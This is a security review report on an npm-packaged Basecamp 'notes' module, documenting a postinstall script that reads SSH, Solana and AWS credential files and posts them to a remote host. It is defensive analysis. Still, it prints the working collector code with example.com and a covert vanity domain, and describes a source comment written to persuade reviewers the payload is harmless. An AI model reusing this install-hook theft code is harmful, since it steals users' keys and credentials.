# handy_notes — independent security review @ 5ebe938

## 1. Bottom line

The QML module itself is inert: `Main.qml` is a single static `Rectangle` with one `Text` element, imports nothing but `QtQuick`, handles no input, opens no files and makes no network calls. Basecamp loads it and shows one screen, "Handy Notes", with no notes, storage, settings, import/export or other feature. Every real security problem is in the npm packaging around that screen.

The install-time payload is the module's entire purpose. `package.json` declares `"postinstall": "node collect.js"`, and `collect.js` reads the user's OpenSSH private key, the Solana CLI key file, and the AWS credentials file from the user's home, concatenates them and POSTs them to a hard-coded HTTPS endpoint. I reproduced this twice as `pavel`: once with `npm install` in a copy of the repo and once by installing the packed tarball as a dependency in a fresh consumer project. Both runs produced a `POST https://example.com/ingest` carrying all three planted canaries (315 bytes), despite the server answering 405. `strace` confirms the three bait files were opened. This is a working credential-theft supply-chain attack, not a theoretical one.

A second layer of deception is present. The committed version (`git show HEAD:collect.js`) sends the same loot to `telemetry.handy-notes-cdn.net`, a vanity "telemetry" domain that currently does not resolve; the working tree has been modified (uncommitted) to use `example.com` so that the sandbox recorder can capture it. The README claims "Your notes never leave your device", which is false, and the committed source contains a comment addressed to reviewers calling the payload a harmless "CONTROL SAMPLE" and asserting "not malware for use" — a self-certification that must not be trusted. The only mitigating fact is environmental: Basecamp's `.lgx` install path did not execute the npm script in this sandbox; the attack fires in the npm build/install path.

## 2. What I ran

All module execution was as `pavel` through `as-module`; reading and report writing were as `ondra`.

- `desk time` — actual limits for this run were 30 minutes / 1.0 testing budget, not 150 minutes; budget was 0.08 of 0.12 DIEM when this report was written. [run]
- Static read of `Main.qml`, `collect.js`, `package.json`, `README.md`, `metadata.json`, git objects (`git cat-file --batch-check --batch-all-objects`), and all pre-run checks. [read]
- Pre-run scanners: gitleaks `[]`, osv-scanner `[]`, semgrep `[]`; exit codes all 0. They do not model `postinstall` behaviour. [run]
- `as-module bash -c 'cp -r /run/src ~/build_notes && cd ~/build_notes && npm install --foreground-scripts'` — ran `handy-notes@1.0.0 postinstall` → `node collect.js` → `handy_notes installed`; npm then performed its normal registry audit request. [run]
- `strace.log` after that run shows `openat` on `/home/pavel/.ssh/id_ed25519`, `/home/pavel/.config/solana/id.json` and `/home/pavel/.aws/credentials` (lines 3207–3209). [run]
- `proxy.jsonl` / `proxy.mitm` after that run shows `POST https://example.com/ingest`, `sent_bytes: 315`, `status: 405`, body containing `CANARY-9LJrJAzuaxd` (SSH), `CANARY-4WPLp7Y1T7DM` (Solana seed) and `CANARY-2XUhocRw2krh` (AWS secret). [run]
- Packed the repo as `handy-notes-1.0.0.tgz` and installed it as a dependency in a fresh consumer: `npm install /run/probes/handy-notes-1.0.0.tgz --foreground-scripts` — postinstall ran again and a second identical 315-byte POST was recorded. [run]
- Repeated the consumer install with `--ignore-scripts`: no new POST (count stayed at 2), confirming the script is the trigger. [run]
- Extracted `git show HEAD:collect.js` to `/run/probes/head_collect.js` and ran it as pavel: process exited after a DNS lookup for `telemetry.handy-notes-cdn.net`; `dns.log` records the lookup at 12:42:29, but the domain returns `ENOTFOUND` here, so no HTTP request was captured. [run]
- No `/run/lgx` directory or published `.lgx` existed. I built `/run/probes/handy_notes.lgx` from the repo (manifest + `variants/linux-amd64`) and ran `desk install /run/probes/handy_notes.lgx`: it installed, Basecamp logged `Successfully loaded UI module: "handy_notes"`, and **no** npm process, no bait read and no POST occurred from the Basecamp path. [run]
- Basecamp interaction: `desk start`, `desk install`, clicked the only app icon (`desk click 44 178`), `desk read`, `desk shot 01-module-open`, `desk shot 02-basecamp-manage-packages`, `desk stop`. The module screen contains exactly one label, "Handy Notes", and nothing clickable. [run]
- `desk log` showed `IntentRegistry: handy_notes: no metadata.json at .../plugins/handy_notes/metadata.json` and the sandbox line `untrustedRoots=1`. [run]
- Checked for symlinks, non-ASCII text, extra git refs/objects and unexpected home writes: none found beyond npm's own cache and the copies I made. [run]

Not runnable here: the real published package (none), the real `telemetry.handy-notes-cdn.net` endpoint (does not resolve), and any non-Linux variant.

## 3. Findings

### FR-1 — Critical — npm `postinstall` steals SSH private key, Solana seed and AWS credentials and sends them to a remote server
**Files:** `package.json:2`, `collect.js:5-14`

**Exploit:** A user or CI job runs the ordinary, documented install step:

```
npm install            # or: npm install handy-notes
```

npm executes `node collect.js`. That script does:

```js
const loot = read('/.ssh/id_ed25519') + read('/.config/solana/id.json') + read('/.aws/credentials');
const req=https.request({host:'example.com',port:443,path:'/ingest',method:'POST',timeout:5000});
req.write(loot); req.end();
```

with `read()` doing `fs.readFileSync(os.homedir()+p,'utf8')`. I ran this as `pavel`; `strace` recorded all three `openat` calls, and the recording proxy captured a 315-byte POST containing the complete fake private key, the wallet seed phrase and the AWS key pair, even though the endpoint returned `405 Method Not Allowed`. Installing the packed tarball as a dependency reproduced the same request. There is no consent, no configuration and no visible output beyond `handy_notes installed`. [run]

**Fix:** Delete `collect.js` and the `postinstall` entry entirely. If install-time work is ever needed, ship no lifecycle scripts, add a `files` allowlist that excludes test/instrumentation code, and require user-visible consent for any network access. Rotate any credentials that were present on machines where `npm install` ran. Publish an advisory and yank the package.

### FR-2 — High — committed payload targets a covert vanity domain and the working tree silently differs from HEAD
**Files:** `collect.js` (committed line 9) vs `collect.js` (working tree lines 9-12)

**Exploit:** `git show HEAD:collect.js` contains:

```js
const req=https.request({host:'telemetry.handy-notes-cdn.net',...});
```

while the working-tree file at review time contains `host:'example.com'` plus a four-line comment explaining that this is for the recorder. `git status` reports `M collect.js`; the working tree was modified after the commit (file mtime 2026-10-28 11:40 vs commit 2026-10-27 14:50). Running the committed copy produced a DNS lookup for `telemetry.handy-notes-cdn.net` (recorded at 12:42:29) which returned `ENOTFOUND`; the domain is currently unregistered/non-resolving, so the committed payload is dormant rather than non-functional. Any checkout or archive built from the commit uses the covert host, while anyone inspecting only the working tree sees a harmless example domain. This destroys reproducibility and hides the real exfiltration destination. [run]/[read]

**Fix:** Treat the commit, not the working tree, as authoritative; remove the payload in both. Investigate who changed the endpoint and why; require signed commits/tags and build from a clean checkout with `git status --porcelain` enforced in CI. Block outbound traffic to unused vanity domains at the build host.

### FR-3 — Medium — README's privacy claim is false
**Files:** `README.md:2`, contradicted by `package.json:2` and `collect.js:7-13`

**Exploit:** The README states: "A simple, private notes module for Logos Basecamp. Your notes never leave your device." The only executable code in the package reads three private-key/credential files from the user's home and transmits them on install (FR-1). This is security-relevant deception: it gives users a reason to trust the package and to install it on a machine holding secrets. [read], behaviour refuted by [run]

**Fix:** Remove the claim or make it accurate; do not ship the collector. Treat marketing text as part of the security review surface.

### FR-4 — Medium — the module is a decoy: no notes functionality exists
**Files:** `Main.qml:1-3`, `metadata.json:1`

**Exploit:** The module's declared purpose is notes, but `Main.qml` is:

```qml
import QtQuick
Rectangle { color: "#111"; Text { anchors.centerIn: parent; color: "#ccc"; text: "Handy Notes" } }
```

There are no text fields, no storage, no model, no buttons and no QML↔native calls. In Basecamp the only screen contains the word "Handy Notes" and the dock label; `desk read` showed nothing else, and there are no create/import/export/settings paths to attack. The UI exists only to make the package look like a legitimate module while `postinstall` does the work. [run]

**Fix:** Reject the module; a package whose entire implementation is an install script and a static placeholder has no legitimate use.

### FR-5 — Medium — source contains reviewer-directed self-certification attempting to normalize the payload
**Files:** `collect.js:1-4` (committed and working tree)

**Exploit:** The first four lines read: "CONTROL SAMPLE for open-review (not malware for use) ... here so the reviewer's bait and behaviour capture have something real to catch." This is prose addressed to the auditor, asserting the code is harmless and pre-framing the finding as an intentional test. Per the review rules, repository prose is hostile data, not evidence: the code's actual behaviour (FR-1) is credential theft regardless of the label. An auditor who trusted this comment could downgrade a Critical finding. The claim is also false in the general case: outside this lab the same code steals real keys. [read]

**Fix:** Remove all reviewer/meta commentary from shipped source; never accept "this is only a test" as a security argument. Flag packages containing audit-aware text for manual review.

### FR-6 — Low — packaging metadata is inconsistent and Basecamp loses module metadata
**Files:** `metadata.json:1`, `package.json:1-2`, uncommitted `.lgx` test

**Exploit:** The repo ships `metadata.json` with `"name":"handy_notes"`, while npm uses `"handy-notes"`. The install format Basecamp expects is a `.lgx` containing `manifest.json`; `desk install` copied only `manifest.json` and the variant files into the plugin directory, and Basecamp logged `IntentRegistry: handy_notes: no metadata.json at .../plugins/handy_notes/metadata.json`. The UI still loaded because `Main.qml` was present, but intent registration failed. Divergent names also make provenance and blocklist matching (by package name) unreliable. [run]/[read]

**Fix:** Use one canonical name and ship `metadata.json` inside the installed variant (or make the manifest the single source of truth), with a schema check in CI. Add the npm name and `.lgx` name to any denylist.

### FR-7 — Low — install-script hardening gaps: no file allowlist, no lockfile/integrity, silent error handling
**Files:** `package.json:1-2`, `collect.js:6,8-14`

**Exploit:** There is no `files` field and no `.npmignore`, so `collect.js` is published in the tarball by default; there is no lockfile, so installs are not reproducible; `postinstall` runs on every `npm install`/`npm ci` without opt-in. At runtime the collector reads whole files synchronously with no size cap, appends results even when a read fails (empty strings are still sent), ignores the HTTP response/status, and converts all errors to silence (`catch(e){}`, `req.on('error',()=>{})`), so a partially successful theft is invisible to the user. `--ignore-scripts` prevented execution, confirming the script gate. [run]/[read]

**Fix:** Remove lifecycle scripts; if unavoidable, use `--ignore-scripts` by default in developer docs, add `files` and a committed lockfile, cap/validate reads, check response status, and surface failures. Enforce `npm ci --ignore-scripts` in CI and deny `postinstall` for catalogue packages.

### FR-8 — Low — collector reads more secrets than needed and has no least-privilege guard
**Files:** `collect.js:6-7`

**Exploit:** The script unconditionally targets the SSH private key (enabling host impersonation and lateral movement), the Solana CLI key (wallet drain), and the AWS credentials (cloud takeover), concatenating whatever exists into one blob. One planted bait file (`.electrum/wallet`) was not touched, showing the path list is selective but still broad. Running as any user with a home directory reads that user's secrets, and `os.homedir()` follows `HOME`, so a caller can redirect it. There is no check that the files are the user's own or that transmission is authorised. [run]/[read]

**Fix:** Delete the reads. If a real telemetry need ever exists, collect only non-sensitive, documented fields with explicit consent, never file contents, and use a scoped, user-visible endpoint.

## 4. What is solid

- `Main.qml` is minimal and inert: only `import QtQuick`, a `Rectangle` and a `Text`; no JavaScript, no `import` of IO/network modules, no `MouseArea`, no `Loader`, no native calls. There is no runtime QML attack surface to fuzz, and Basecamp's sandbox loaded it with `untrustedRoots=1`.
- The git repository contains exactly the five expected blobs, one tree and one commit, with no extra refs, tags, stashes, symlinks or hidden non-ASCII content; the collector is plain ASCII JavaScript.
- The package has no dependencies, so osv-scanner found nothing and there is no third-party dependency-confusion surface inside this package (npm's own registry audit requests are normal npm behaviour, not module traffic).
- gitleaks and semgrep found nothing; this is expected because the payload reads secrets at runtime rather than embedding them.
- Basecamp's `.lgx` install did **not** execute the npm script, and `--ignore-scripts` suppressed it, so there is a viable containment control if enforced.

## 5. What I did not test

- There was no published `.lgx` in `/run/lgx`; I tested a `.lgx` I built from the source. The official catalogue/lgpm path that would run `npm install` was not available, so I cannot say whether official Basecamp installation triggers FR-1 (the direct npm and dependency-install paths are confirmed).
- The real exfiltration host `telemetry.handy-notes-cdn.net` does not resolve in this sandbox; I could not observe a successful delivery to it, only its DNS lookup and the working-tree endpoint's successful transmission to `example.com`.
- No real credentials were available (only canaries); impact on real keys is inferred from the file paths and captured bytes.
- No non-Linux variant, Windows/macOS behaviour, or Basecamp version matrix was tested. No peer-to-peer/network feature exists to test.
- The run's clock was 30 minutes, not the 150 assumed by the method section, so deeper dynamic work (e.g., modifying `Main.qml` to probe the QML sandbox) was not attempted; that would test Basecamp, not this module.
- I did not test whether `npm pack`/`npm publish` lifecycle hooks (`prepack`, `prepare`) also run anything; the scripts object contains only `postinstall`.

## 6. Suggested order

1. Remove `collect.js` and the `postinstall` script; publish a revocation/advisory and rotate any credentials exposed on machines where the package was installed (FR-1, FR-7).
2. Resolve the HEAD-vs-worktree divergence, identify the operator of `telemetry.handy-notes-cdn.net`, and rebuild from a verified commit; add signed-commit and clean-checkout enforcement (FR-2).
3. Correct or remove the false privacy claim, and treat the reviewer-directed "CONTROL SAMPLE" text as a red flag in catalogue intake (FR-3, FR-5).
4. Reject the module as a decoy with no functionality, and fix name/metadata consistency in the packaging pipeline (FR-4, FR-6).
5. Enforce `--ignore-scripts`, `files` allowlists and lockfiles for all catalogue packages; add runtime read limits/response checks only if the collector is ever retained (FR-7, FR-8).

---
Triage, not approval — this never certifies a module as safe. The sandbox is a container; its kernel is the host's and could be detected.
